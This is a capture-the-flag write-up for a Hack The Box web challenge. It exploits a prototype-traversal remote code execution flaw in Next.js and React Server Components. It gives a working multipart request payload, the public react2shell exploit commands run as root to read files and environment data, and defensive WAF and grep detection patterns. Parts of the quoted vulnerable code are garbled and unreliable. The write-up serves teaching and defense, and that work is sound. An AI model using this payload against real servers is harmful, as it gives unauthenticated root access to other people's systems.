Share
## https://sploitus.com/exploit?id=FCC440D4-0677-5029-B794-2F18994F6D4A
# ReactOOPS - HTB Web Challenge Writeup
**Author**: TheStingR - Team1337Hackers
**Challenge**: ReactOOPS (Web)
**Platform**: Hack The Box
**Difficulty**: Very Easy - RETIRED
**Date Solved**: December 13, 2025
## Table of Contents
1. [Executive Summary](#executive-summary)
2. [Challenge Description](#challenge-description)
3. [Vulnerability Analysis](#vulnerability-analysis)
4. [Reconnaissance & Enumeration](#reconnaissance--enumeration)
5. [Exploitation Walkthrough](#exploitation-walkthrough)
6. [Flag Extraction](#flag-extraction)
7. [Technical Deep Dive](#technical-deep-dive)
8. [Defense & Mitigation](#defense--mitigation)
9. [Lessons Learned](#lessons-learned)
---
## Executive Summary
**ReactOOPS** is a web challenge that exploits **CVE-2025-55182 / CVE-2025-66478**, a critical unauthenticated Remote Code Execution vulnerability in React Server Components and Next.js App Router.
**Key Findings:**
- โ
Server: Next.js 16.0.6 with React 19 (vulnerable)
- โ
Vulnerability: Missing `hasOwnProperty` check in Flight protocol deserialization
- โ
Impact: Unauthenticated RCE with root privileges
- โ
Exploitation: Single HTTP POST request required
---
## Challenge Description
### Initial Assessment
The challenge presents a polished Next.js application running NexusAI's assistant interface. The application appears to handle user input through React Server Components, but subtle glitches in the reactive layer hint at underlying vulnerabilities.
### Technology Stack
- **Framework**: Next.js 16.0.6
- **React Version**: 19.x
- **Deployment**: Docker container (Next.js standalone build)
- **Server Port**: 50183
### What Makes This Vulnerable?
The application uses:
1. **React Server Components (RSC)** - Server-side rendering with client communication
2. **Flight Protocol** - Serialization format for RSC data transmission
3. **Vulnerable Dependencies** - react-server-dom-webpack without security patches
---
## Vulnerability Analysis
### CVE-2025-55182 / CVE-2025-66478 Overview
#### What is the Flight Protocol?
The Flight protocol is React's proprietary serialization format for transmitting data between server and client in Server Component architectures. It uses references like:
- `$1` - Reference to object at position 1
- `$1:path:to:value` - Property path traversal
#### The Missing Security Check
**Vulnerable Code in React's ReactFlightReplyServer.js:**
```javascript
// Line ~450: getOutlinedModel function
function getOutlinedModel(response, id) {
let chunk = chunks.get(id);
const value = chunk.value;
// Process references like "$1:path:to:value"
if (reference.startsWith('$')) {
const refId = parseInt(reference.slice(1).split(':')[0]);
const path = reference.slice(1).split(':').slice(1);
let obj = chunks.get(refId).value;
// VULNERABLE LOOP - NO hasOwnProperty CHECK!
for (let i = 0; i :PORT/
```
**Expected**: Next.js application serving HTML with RSC enabled
### Step 2: Technology Identification
Look for indicators:
- Response headers containing `next-` prefixes
- HTML containing ``
- Presence of `.next` directory artifacts
- POST endpoints without obvious authentication
### Step 3: Vulnerability Detection
The most reliable indicator is attempting a prototype pollution attack and observing the response:
```bash
# Non-destructive detection payload
# Sends: ["$1:a:a"] referencing {}
# Vulnerable: {}.a.a throws โ HTTP 500 + E{"digest"
# Patched: hasOwnProperty prevents access โ no crash
```
---
## Exploitation Walkthrough
### Environment Setup
```bash
# Navigate to challenge directory
cd /Challenges/ReactOOPS
# Clone react2shell exploit framework
git clone https://github.com/freeqaz/react2shell.git
# Verify all scripts are executable
chmod +x react2shell/*.sh
```
### Phase 1: Detection (Non-Destructive Proof)
**Goal**: Confirm the server is vulnerable without causing damage
```bash
cd react2shell
# Run the detection probe
./detect.sh http://:PORT
```
**What It Does:**
1. Creates a multipart POST request with `Next-Action: x` header
2. Sends payload: `["$1:a:a"]` referencing empty object `{}`
3. On vulnerable server: JavaScript tries to access `{}.a.a`
4. Missing hasOwnProperty check causes crash
5. Server returns HTTP 500 with error digest
**Expected Output:**
```
[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478)
[*] Target: http://:PORT
[*] HTTP Status: 500
[!] VULNERABLE - Server returned 500 with E{"digest" pattern
[*] Response body:
0:{\"a\":\"$@1\",\"f\":\"\",\"b\":\"s8I48LfEDhqpCdFN5-HbU\"}
1:E{\"digest\":\"346246470\"}
[!] This server is running a vulnerable version of React RSC / Next.js
```
**Interpretation:**
- HTTP 500: โ
Crash detected
- `E{"digest"` in response: โ
React error handling format
- Conclusion: Server is VULNERABLE
### Phase 2: Remote Code Execution (Proof of Concept)
**Goal**: Verify arbitrary command execution
```bash
# Execute the 'id' command on the remote server
./exploit-redirect.sh -q http://:PORT "id"
```
**What It Does:**
1. Constructs a multipart payload with command payload
2. Embeds command in the prototype pollution reference
3. Sends POST request with `Next-Action: x`
4. Server deserializes and executes command during processing
5. Returns command output via HTTP 303 redirect
**Expected Output:**
```
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```
**Key Insight**: The output shows `uid=0(root)` - the web server is running as root! This is a security misconfiguration that amplifies the impact.
### Phase 3: Information Gathering
**Goal**: Map the filesystem and locate sensitive files
```bash
# Check current working directory
./exploit-redirect.sh -q http://:PORT "pwd"
# Output: /app/.next/standalone
# List application root directory
./exploit-redirect.sh -q http://:PORT "ls -la /app"
```
**Directory Structure Discovered:**
```
/app/
โโโ .next/ # Next.js build output
โโโ node_modules/ # Dependencies
โโโ app/ # Application source code
โโโ public/ # Static assets
โโโ flag.txt # โ
TARGET FILE (mode 600)
โโโ package.json
โโโ tsconfig.json
```
**Critical Finding**: Flag file exists at `/app/flag.txt` with restrictive permissions (600)
### Phase 4: Flag Extraction
**Goal**: Read the flag file
```bash
# Read the flag
./exploit-redirect.sh -q http://:PORT> "cat /app/flag.txt"
```
**Output:**
```
HTB{jus7_REDACTED_2025-55182}
```
โ
**Challenge Completed!**
---
## Technical Deep Dive
### Payload Structure Breakdown
The exploit constructs a Flight protocol payload. Here's what a command payload looks like:
```
POST / HTTP/1.1
Host: >:PORT
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Next-Action: x
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="1"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"value": "{\"cmd\":\"id\"}",
"_response": {
"id": "1",
"chunks": []
}
}
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="0"
"$@1"
------WebKitFormBoundaryXXXX--
```
### Deserialization Process
```
1. Parse multipart form data
โ name="1" โ JSON object with "then" property
โ name="0" โ String "$@1"
2. Process references
โ "$@1" means "reference to chunk 1"
โ Look up chunk[1].value
3. Resolve reference path
โ Reference: "$1:__proto__:then"
โ Split on colons: ["", "__proto__", "then"]
โ Start with chunk[1]
โ Access [__proto__] โ traverse to prototype
โ Access [then] โ access then method
4. Construct fake Promise
โ Create object with .then() method
โ Method contains command payload
5. Execute Promise .then()
โ React treats as Promise-like
โ Calls the .then() handler
โ CODE EXECUTES AS ROOT
```
### Why Each Exploit Script Differs
| Script | Mechanism | HTTP Code | Detection |
|--------|-----------|-----------|-----------|
| **exploit-redirect.sh** | Prototype traversal + Promise chain | 303 | x-action-redirect |
| **exploit-throw.sh** | Error in try-catch | 500 | Error in body |
| **exploit-blind.sh** | Side-channel (file write, DNS) | 200 | Out-of-band |
| **exploit-reflect.sh** | Direct reflection in response | 200 | Command output in body |
| **shell.sh** | Interactive wrapper | Varies | REPL interface |
We used `exploit-redirect.sh` because:
- โ
Works without valid action ID
- โ
Reliable 303 response
- โ
Good output visibility
- โ
No error page interference
---
## Defense & Mitigation
### For Vulnerable Systems
**Immediate Actions (Before Patching):**
1. **Disable RSC if not needed**
```javascript
// next.config.js
module.exports = {
experimental: {
rsc: false // Disable React Server Components
}
}
```
2. **Restrict Next-Action usage**
```javascript
// middleware.ts
export function middleware(request) {
// Reject all POST requests with Next-Action
if (request.method === 'POST' &&
request.headers.has('next-action')) {
return new Response('Forbidden', { status: 403 });
}
}
```
3. **Network Segmentation**
```bash
# Only allow trusted sources
iptables -A INPUT -p tcp --dport 50183 -s TRUSTED_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 50183 -j DROP
```
**Patch Immediately:**
```bash
# Update Next.js
npm install next@latest
# Or specific patched version
npm install next@16.0.7
# Verify versions
npm ls next react-server-dom-webpack
```
### For All Systems
**Security Hardening:**
1. **Run web servers as non-root**
```dockerfile
# DON'T do this:
RUN npm start # As root
# DO this:
RUN useradd -u 1000 nextjs
USER nextjs
CMD ["npm", "start"]
```
2. **Input Validation**
```javascript
// Validate all Flight protocol inputs
app.post('/api/*', (req, res) => {
// Check for suspicious patterns
const body = JSON.stringify(req.body);
if (body.includes('__proto__') ||
body.includes('constructor') ||
body.includes('prototype')) {
return res.status(400).send('Invalid input');
}
});
```
3. **Rate Limiting**
```javascript
// Limit POST requests per IP
app.post('/api/*', rateLimit({
windowMs: 60 * 1000,
max: 10
}));
```
### Detection & Monitoring
**WAF Rules:**
```
# Detect prototype pollution attempts
If Request.Method == "POST" AND
Request.Body Contains "__proto__" OR
Request.Body Contains ":then" OR
Request.Body Contains ":constructor"
Then Alert + Block
```
**Log Monitoring:**
```bash
# Look for suspicious patterns
grep -E '__proto__|constructor|:then' /var/log/nginx/access.log
grep 'HTTP 500.*digest' /var/log/nginx/error.log
```
**Behavioral Detection:**
```javascript
// Monitor for unusual command execution
const childProcess = require('child_process');
const original_spawn = childProcess.spawn;
childProcess.spawn = function(...args) {
console.log('[SECURITY] Command execution attempted:', args[0]);
// Implement policy enforcement
return original_spawn.apply(this, args);
};
```
---
## Lessons Learned
### Security Lessons
1. **Single Missing Check = Critical Vulnerability**
- The `hasOwnProperty` guard was imported but not used
- One line of missing validation cascaded into RCE
- **Lesson**: Code reviews must verify all guards are actually used
2. **Prototype Chain is Dangerous**
- JavaScript's prototype chain can be exploited for unintended property access
- Object property access looks innocent: `obj[key]`
- **Lesson**: Always use `hasOwnProperty` or `Object.create(null)` for untrusted input
3. **Deserialization Before Validation is Risky**
- Code executed during deserialization, before authentication checks
- Normal flow: authenticate โ validate โ process
- Vulnerable flow: parse โ execute code โ validate (too late!)
- **Lesson**: Never execute code during deserialization of untrusted data
4. **Default Process Privileges Matter**
- Web server running as root amplified impact
- Compromised server = full system control
- **Lesson**: Always run services with minimal required privileges
### Exploitation Lessons
1. **Non-Destructive Detection is Valuable**
- `detect.sh` proves vulnerability without causing damage
- Allows assessor to validate vulnerability before exploitation
- **Best Practice**: Always include detection phase
2. **Systematic Reconnaissance**
- Started with detection
- Moved to RCE proof
- Then information gathering
- Finally flag extraction
- **Best Practice**: Don't jump to exploitation; gather intel first
3. **Understanding the Technology**
- Knowledge of Flight protocol helped exploitation
- Understanding Next.js architecture was key
- Knowing JavaScript prototype chain was crucial
- **Best Practice**: Study the tech stack before exploitation
---
## Timeline
| Time | Action | Result |
|------|--------|--------|
| T+0s | Initial connection test | Service responding |
| T+10s | Run detect.sh | VULNERABLE confirmed |
| T+30s | Execute `id` command | root privileges confirmed |
| T+1m | List /app directory | Flag location found |
| T+1m 30s | Read flag file | Flag extracted |
| T+2m | Verification | Challenge completed |
---
## References
### Official Documentation
- [CVE-2025-55182](https://nvd.nist.gov/vuln/detail/CVE-2025-55182)
- [CVE-2025-66478](https://nvd.nist.gov/vuln/detail/CVE-2025-66478)
- [React Server Components](https://react.dev/reference/rsc/server-components)
- [Flight Protocol](https://github.com/facebook/react/blob/main/packages/react-server-dom-webpack/README.md)
### Exploit Resources
- [react2shell Repository](https://github.com/freeqaz/react2shell)
- [EXPLOIT_NOTES.md](./react2shell/EXPLOIT_NOTES.md)
- [PAYLOAD_REFERENCE.md](./react2shell/PAYLOAD_REFERENCE.md)
### Related CVEs
- CVE-2023-46805: React prototype pollution (similar but different)
- CVE-2024-4761: Server Component XSS
---
## Appendix: Command Reference
### Quick Exploitation
```bash
# One-liner exploit
cd /ReactOOPS/react2shell && \
./exploit-redirect.sh -q http://:PORT>"cat /app/flag.txt"
```
### Interactive Shell
```bash
# Launch full interactive shell
./shell.sh http://:PORT
# Common commands:
id # Show user info
pwd # Current directory
ls -la # List files
cat /app/flag.txt # Read flag
cd /var/log # Change directory
download flag.txt # Download file
```
### Information Gathering
```bash
# System information
./exploit-redirect.sh -q http://:PORT "uname -a"
# Environment variables
./exploit-redirect.sh -q http://:PORT "env"
# Running processes
./exploit-redirect.sh -q http://:PORT "ps aux"
# Network connections
./exploit-redirect.sh -q http://:PORT "netstat -tuln"
# Application source
./exploit-redirect.sh -q http://:PORT "cat /app/package.json"
```
---